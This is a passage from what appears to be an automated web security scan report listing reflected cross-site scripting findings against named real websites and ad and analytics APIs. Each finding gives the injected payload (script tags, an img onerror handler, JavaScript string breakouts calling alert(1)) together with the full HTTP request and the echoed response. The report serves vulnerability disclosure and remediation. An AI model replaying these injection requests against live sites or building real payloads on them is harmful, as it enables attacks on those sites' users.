The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3131a"><a>e5ef3186019 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /js/concat.js3131a"><a>e5ef3186019?v=2011022307 HTTP/1.1
Host: ak.quantcast.com
Proxy-Connection: keep-alive
Referer: http://www.quantcast.com/top-sites-1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1138661367-1297862290557; __utmz=14861494.1297862294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=14861494.1792645891.1297862294.1297862294.1298206755.2

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Vary: Accept-Encoding
Date: Wed, 23 Feb 2011 21:46:46 GMT
Connection: close
Content-Length: 7728


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


<html>


<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" js concat.js3131a"><a>e5ef3186019" />
...[SNIP]...

3.76. http://altfarm.mediaplex.com/ad/js/1551-48114-17349-5 [mpt parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/js/1551-48114-17349-5

Issue detail

The value of the mpt request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2acf5'-alert(1)-'ccdeba3161e was submitted in the mpt parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ad/js/1551-48114-17349-5?mpt=67211952acf5'-alert(1)-'ccdeba3161e&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3af0/3/0/%2a/y%3B239410357%3B0-0%3B0%3B55854648%3B4307-300/250%3B35536982/35554800/1%3Bu%3D%2Ccm-58091420_1303349057%2C11f8f328940989e%2Cent%2Cax.20-cm.ent_l%3B%7Eokv%3D%3Bnet%3Dcm%3Bu%3D%2Ccm-58091420_1303349057%2C11f8f328940989e%2Cent%2Cax.20-cm.ent_l%3B%3Bcmw%3Dowl%3Bsz%3D300x250%3Bnet%3Dcm%3Benv%3Difr%3Bord1%3D453725%3Bcontx%3Dent%3Ban%3D20%3Bdc%3Dw%3Bbtg%3Dcm.ent_l%3B%7Eaopt%3D3/1/e5/0%3B%7Esscs%3D%3f HTTP/1.1
Host: altfarm.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/300x250/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/6636144a-d522-413b-b4d7-acc91ac5c583?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349057
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=822523287793; mojo2=16228:26209; mojo3=1551:17349/3484:15222/15017:28408/16228:26209

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-store
Pragma: no-cache
Expires: 0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Content-Type: text/html
Content-Length: 574
Date: Thu, 21 Apr 2011 01:31:29 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3af0/3/0/*/y;239410357;0-0;0;55854648;4307-300/250;35536982/35554800/1;u=,cm-58091420_1303349057,11f8f328940989e,ent,ax.20
...[SNIP]...
f8f328940989e,ent,ax.20-cm.ent_l;;cmw=owl;sz=300x250;net=cm;env=ifr;ord1=453725;contx=ent;an=20;dc=w;btg=cm.ent_l;~aopt=3/1/e5/0;~sscs=?http://altfarm.mediaplex.com/ad/ck/1551-48114-17349-5?mpt=67211952acf5'-alert(1)-'ccdeba3161e">
...[SNIP]...

3.77. http://altfarm.mediaplex.com/ad/js/1551-48114-17349-5 [mpvc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/js/1551-48114-17349-5

Issue detail

The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e28bb'%3balert(1)//984896bc26f was submitted in the mpvc parameter. This input was echoed as e28bb';alert(1)//984896bc26f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ad/js/1551-48114-17349-5?mpt=6721195&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3af0/3/0/%2a/y%3B239410357%3B0-0%3B0%3B55854648%3B4307-300/250%3B35536982/35554800/1%3Bu%3D%2Ccm-58091420_1303349057%2C11f8f328940989e%2Cent%2Cax.20-cm.ent_l%3B%7Eokv%3D%3Bnet%3Dcm%3Bu%3D%2Ccm-58091420_1303349057%2C11f8f328940989e%2Cent%2Cax.20-cm.ent_l%3B%3Bcmw%3Dowl%3Bsz%3D300x250%3Bnet%3Dcm%3Benv%3Difr%3Bord1%3D453725%3Bcontx%3Dent%3Ban%3D20%3Bdc%3Dw%3Bbtg%3Dcm.ent_l%3B%7Eaopt%3D3/1/e5/0%3B%7Esscs%3D%3fe28bb'%3balert(1)//984896bc26f HTTP/1.1
Host: altfarm.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/300x250/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/6636144a-d522-413b-b4d7-acc91ac5c583?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349057
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=822523287793; mojo2=16228:26209; mojo3=1551:17349/3484:15222/15017:28408/16228:26209

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-store
Pragma: no-cache
Expires: 0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Content-Type: text/html
Content-Length: 574
Date: Thu, 21 Apr 2011 01:31:43 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3af0/3/0/*/y;239410357;0-0;0;55854648;4307-300/250;35536982/35554800/1;u=,cm-58091420_1303349057,11f8f328940989e,ent,ax.20-cm.ent_l;~okv=;net=cm;u=,cm-58091420_1303349057,11f8f328940989e,ent,ax.20-cm.ent_l;;cmw=owl;sz=300x250;net=cm;env=ifr;ord1=453725;contx=ent;an=20;dc=w;btg=cm.ent_l;~aopt=3/1/e5/0;~sscs=?e28bb';alert(1)//984896bc26fhttp://altfarm.mediaplex.com/ad/ck/1551-48114-17349-5?mpt=6721195">
...[SNIP]...

3.78. http://altfarm.mediaplex.com/ad/js/1551-48114-17349-5 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://altfarm.mediaplex.com
Path:   /ad/js/1551-48114-17349-5

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bfcec'%3balert(1)//57906781b29 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as bfcec';alert(1)//57906781b29 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ad/js/1551-48114-17349-5?mpt=6721195&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3af0/3/0/%2a/y%3B239410357%3B0-0%3B0%3B55854648%3B4307-300/250%3B35536982/35554800/1%3Bu%3D%2Ccm-58091420_1303349057%2C11f8f328940989e%2Cent%2Cax.20-cm.ent_l%3B%7Eokv%3D%3Bnet%3Dcm%3Bu%3D%2Ccm-58091420_1303349057%2C11f8f328940989e%2Cent%2Cax.20-cm.ent_l%3B%3Bcmw%3Dowl%3Bsz%3D300x250%3Bnet%3Dcm%3Benv%3Difr%3Bord1%3D453725%3Bcontx%3Dent%3Ban%3D20%3Bdc%3Dw%3Bbtg%3Dcm.ent_l%3B%7Eaopt%3D3/1/e5/0%3B%7Esscs%3D%3f&bfcec'%3balert(1)//57906781b29=1 HTTP/1.1
Host: altfarm.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/300x250/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/6636144a-d522-413b-b4d7-acc91ac5c583?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349057
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=822523287793; mojo2=16228:26209; mojo3=1551:17349/3484:15222/15017:28408/16228:26209

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-store
Pragma: no-cache
Expires: 0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Content-Type: text/html
Content-Length: 577
Date: Thu, 21 Apr 2011 01:32:25 GMT

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3af0/3/0/*/y;239410357;0-0;0;55854648;4307-300/250;35536982/35554800/1;u=,cm-58091420_1303349057,11f8f328940989e,ent,ax.20-cm.ent_l;~okv=;net=cm;u=,cm-58091420_1303349057,11f8f328940989e,ent,ax.20-cm.ent_l;;cmw=owl;sz=300x250;net=cm;env=ifr;ord1=453725;contx=ent;an=20;dc=w;btg=cm.ent_l;~aopt=3/1/e5/0;~sscs=?&bfcec';alert(1)//57906781b29=1http://altfarm.mediaplex.com/ad/ck/1551-48114-17349-5?mpt=6721195">
...[SNIP]...

3.79. http://api-public.addthis.com/url/shares.json [callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api-public.addthis.com
Path:   /url/shares.json

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload f6ce7<script>alert(1)</script>1f053237914 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /url/shares.json?url=http%3A%2F%2Fwww.soccernews.com%2Fblatter-wants-stable-fifa%2F72998%2F&callback=_ate.cbs.sc_httpwwwsoccernewscomblatterwantsstablefifa72998f6ce7<script>alert(1)</script>1f053237914 HTTP/1.1
Host: api-public.addthis.com
Proxy-Connection: keep-alive
Referer: http://www.soccernews.com/blatter-wants-stable-fifa/72998/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTg4NzIwVg%3d%3d; di=%7B%7D..1303122295.1FE|1303122295.60|1303122322.66; dt=X; uid=4dab4fa85facd099; psc=2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: max-age=300
Content-Type: application/javascript;charset=UTF-8
Date: Thu, 21 Apr 2011 01:28:25 GMT
Content-Length: 115
Connection: close

_ate.cbs.sc_httpwwwsoccernewscomblatterwantsstablefifa72998f6ce7<script>alert(1)</script>1f053237914({"shares":0});

3.80. http://api.bing.com/qsonhs.aspx [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bing.com
Path:   /qsonhs.aspx

Issue detail

The value of the q request parameter is copied into the HTML document as plain text between tags. The payload acb7b<img%20src%3da%20onerror%3dalert(1)>a736eb9518c was submitted in the q parameter. This input was echoed as acb7b<img src=a onerror=alert(1)>a736eb9518c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /qsonhs.aspx?FORM=ASAPIH&q=acb7b<img%20src%3da%20onerror%3dalert(1)>a736eb9518c HTTP/1.1
Host: api.bing.com
Proxy-Connection: keep-alive
Referer: http://www.bing.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110215; _UR=OMW=1; _FP=; SRCHD=MS=1655311&SM=1&D=1644428&AF=NOFORM; MUID=FA3AE6176FAC4414AD6FC26C726B4B15; _HOP=; _SS=SID=641CB7A32570469C873045A16513C459&CW=1437

Response

HTTP/1.1 200 OK
Content-Length: 79
Content-Type: application/json; charset=utf-8
X-Akamai-TestID: 6a828c6d806f46b4821695af4181d82d
Date: Sat, 26 Feb 2011 00:17:05 GMT
Connection: close

{"AS":{"Query":"acb7b<img src=a onerror=alert(1)>a736eb9518c","FullResults":1}}

3.81. http://api.bizographics.com/v1/profile.json [&callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bizographics.com
Path:   /v1/profile.json

Issue detail

The value of the &callback request parameter is copied into the HTML document as plain text between tags. The payload d6834<script>alert(1)</script>ee62c95d5e5 was submitted in the &callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1/profile.json?&callback=dj.module.ad.bio.loadBizoDatad6834<script>alert(1)</script>ee62c95d5e5&api_key=r9t72482usanbp6sphprhvun HTTP/1.1
Host: api.bizographics.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BizographicsOptOut=OPT_OUT

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: application/json
Date: Tue, 19 Apr 2011 16:08:54 GMT
P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Pragma: no-cache
Server: nginx/0.7.61
Content-Length: 581
Connection: keep-alive

dj.module.ad.bio.loadBizoDatad6834<script>alert(1)</script>ee62c95d5e5({"bizographics":{"industry":[{"code":"construction_commercial_building","name":"Construction Commercial Bldg","parent_code":"construction"},{"code":"real_estate","name":"Real Estate"},{"code":"constru
...[SNIP]...

3.82. http://api.bizographics.com/v1/profile.json [api_key parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.bizographics.com
Path:   /v1/profile.json

Issue detail

The value of the api_key request parameter is copied into the HTML document as plain text between tags. The payload 866fd<script>alert(1)</script>f41244c96de was submitted in the api_key parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v1/profile.json?&callback=dj.module.ad.bio.loadBizoData&api_key=r9t72482usanbp6sphprhvun866fd<script>alert(1)</script>f41244c96de HTTP/1.1
Host: api.bizographics.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BizographicsOptOut=OPT_OUT

Response

HTTP/1.1 403 Forbidden
Cache-Control: no-cache
Content-Type: text/plain
Date: Tue, 19 Apr 2011 16:09:09 GMT
P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Pragma: no-cache
Server: nginx/0.7.61
Content-Length: 84
Connection: keep-alive

Unknown API key: (r9t72482usanbp6sphprhvun866fd<script>alert(1)</script>f41244c96de)

3.83. http://api.tinker.com/event_timeline/213260.json [callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.tinker.com
Path:   /event_timeline/213260.json

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 25223<script>alert(1)</script>57e3cb30f91 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /event_timeline/213260.json?page=1&rpp=1&videos=1&vidheight=100%&vidwidth=100%&callback=jsonp130334919356525223<script>alert(1)</script>57e3cb30f91&_=1303349195898 HTTP/1.1
Host: api.tinker.com
Proxy-Connection: keep-alive
Referer: http://www4.tinker.com/standard/widget_sm.html?widgetId=1660&eventId=213260&interactionBox=none&baseStyle=white&bgImage=&bgColor=DC0876&paneBgColor=&fontColor=ffffff&linkColor=&brandLogo=&showTitle=&shareLink=&bottomInfo=&roundCorners=&hashTag=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.11
Content-Type: application/json;charset=utf-8
Content-Length: 137
X-Varnish: 809868331
Expires: Thu, 21 Apr 2011 01:39:02 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:39:02 GMT
Connection: close

jsonp130334919356525223<script>alert(1)</script>57e3cb30f91({"category":"Event Timeline","madefresh":"Apr 20 2011 06:39:02","items":[]});

3.84. http://api.viglink.com/api/install.js [key parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.viglink.com
Path:   /api/install.js

Issue detail

The value of the key request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d7e51"%3balert(1)//0d39877c240 was submitted in the key parameter. This input was echoed as d7e51";alert(1)//0d39877c240 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /api/install.js?key=30c9962c288b6104d8aabe237d132b54d7e51"%3balert(1)//0d39877c240 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: api.viglink.com

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Language: en
Content-Type: text/html;charset=ISO-8859-1
Date: Mon, 18 Apr 2011 23:51:20 GMT
Expires: -1
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 6719
Connection: keep-alive


var vglnkbmklt = function() {
var notice = {
addCSS: function() {
if(document.getElementById('vglnkbmkltcss')) return;
var props = '\
border: 3px solid #ccc;\
backg
...[SNIP]...
nk != "undefined") {
notice.quick("VigLink is already installed on this page.");
return;
}

window.vglnk = {
api_url: "//api.viglink.com/api",
key: "30c9962c288b6104d8aabe237d132b54d7e51";alert(1)//0d39877c240"
};

var is_ssl = location.protocol == "https://";
var host = (is_ssl ? "https://" : "http://") + "api.viglink.com";

var lib_el = document.createElement('script');
lib_el.src = host + "/api
...[SNIP]...

3.85. http://api.viglink.com/api/ping [key parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api.viglink.com
Path:   /api/ping

Issue detail

The value of the key request parameter is copied into the HTML document as plain text between tags. The payload 47797<script>alert(1)</script>11f76ed4d6d was submitted in the key parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /api/ping?format=jsonp&key=30c9962c288b6104d8aabe237d132b5447797<script>alert(1)</script>11f76ed4d6d&loc=about%3Ablank&v=1&jsonp=vglnk_jsonp_13031707108430 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: api.viglink.com

Response

HTTP/1.1 500 Internal Server Error
Cache-Control: no-store, no-cache, must-revalidate
Content-Language: en
Content-Type: text/html;charset=ISO-8859-1
Date: Mon, 18 Apr 2011 23:51:41 GMT
Expires: -1
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 97
Connection: keep-alive

error: Unknown api key: 30c9962c288b6104d8aabe237d132b5447797<script>alert(1)</script>11f76ed4d6d

3.86. http://areacode.org/803 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://areacode.org
Path:   /803

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload cc32c'><script>alert(1)</script>e07cbbd8d60 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /803?cc32c'><script>alert(1)</script>e07cbbd8d60=1 HTTP/1.1
Host: areacode.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 26 Feb 2011 01:58:39 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: CFID=11022745;expires=Mon, 18-Feb-2041 01:58:39 GMT;path=/
Set-Cookie: CFTOKEN=61649987;expires=Mon, 18-Feb-2041 01:58:39 GMT;path=/
Content-Type: text/html; charset=UTF-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
   
...[SNIP]...
<input id="page_link" name="page_link" type="text" class="text_field" value='http://areacode.org/803?cc32c'><script>alert(1)</script>e07cbbd8d60=1'>
...[SNIP]...

3.87. http://b.scorecardresearch.com/beacon.js [c1 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b.scorecardresearch.com
Path:   /beacon.js

Issue detail

The value of the c1 request parameter is copied into the HTML document as plain text between tags. The payload f9253<script>alert(1)</script>3482ae0b770 was submitted in the c1 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2f9253<script>alert(1)</script>3482ae0b770&c2=6036378&c3=&c4=&c5=&c6=&c10= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.soccernews.com/blatter-wants-stable-fifa/72998/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Thu, 28 Apr 2011 01:28:11 GMT
Date: Thu, 21 Apr 2011 01:28:11 GMT
Content-Length: 1234
Connection: close

if(typeof COMSCORE=="undefined"){var COMSCORE={}}if(typeof _comscore!="object"){var _comscore=[]}COMSCORE.beacon=function(k){try{if(!k){return}var i=1.8,l=k.options||{},j=l.doc||document,b=l.nav||navi
...[SNIP]...
E.purge=function(a){try{var c=[],f,b;a=a||_comscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();


COMSCORE.beacon({c1:"2f9253<script>alert(1)</script>3482ae0b770", c2:"6036378", c3:"", c4:"", c5:"", c6:"", c10:"", c15:"", c16:"", r:""});



3.88. http://b.scorecardresearch.com/beacon.js [c10 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b.scorecardresearch.com
Path:   /beacon.js

Issue detail

The value of the c10 request parameter is copied into the HTML document as plain text between tags. The payload 5595a<script>alert(1)</script>2c9f434fa62 was submitted in the c10 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=2&c2=6036378&c3=&c4=&c5=&c6=&c10=5595a<script>alert(1)</script>2c9f434fa62 HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www.soccernews.com/blatter-wants-stable-fifa/72998/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=25894b9d-24.143.206.177-1303083414

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Thu, 28 Apr 2011 01:28:11 GMT
Date: Thu, 21 Apr 2011 01:28:11 GMT
Content-Length: 3588
Connection: close

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
e;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();


COMSCORE.beacon({c1:"2", c2:"6036378", c3:"", c4:"", c5:"", c6:"", c10:"5595a<script>alert(1)</script>2c9f434fa62", c15:"", c16:"", r:""});



3.89. http://b.scorecardresearch.com/beacon.js [c15 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://b.scorecardresearch.com
Path:   /beacon.js

Issue detail

The value of the c15 request parameter is copied into the HTML document as plain text between tags. The payload adce4<script>alert(1)</script>3d3f26af9a3 was submitted in the c15 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /beacon.js?c1=7&c2=6035233&c3=2&c4=&c5=&c6=&c15=adce4<script>alert(1)</script>3d3f26af9a3 HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://www4.tinker.com/standard/widget_sm.html?widgetId=1660&eventId=213260&interactionBox=none&baseStyle=white&bgImage=&bgColor=DC0876&paneBgColor=&fontColor=ffffff&linkColor=&brandLogo=&showTitle=&shareLink=&bottomInfo=&roundCorners=&hashTag=
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
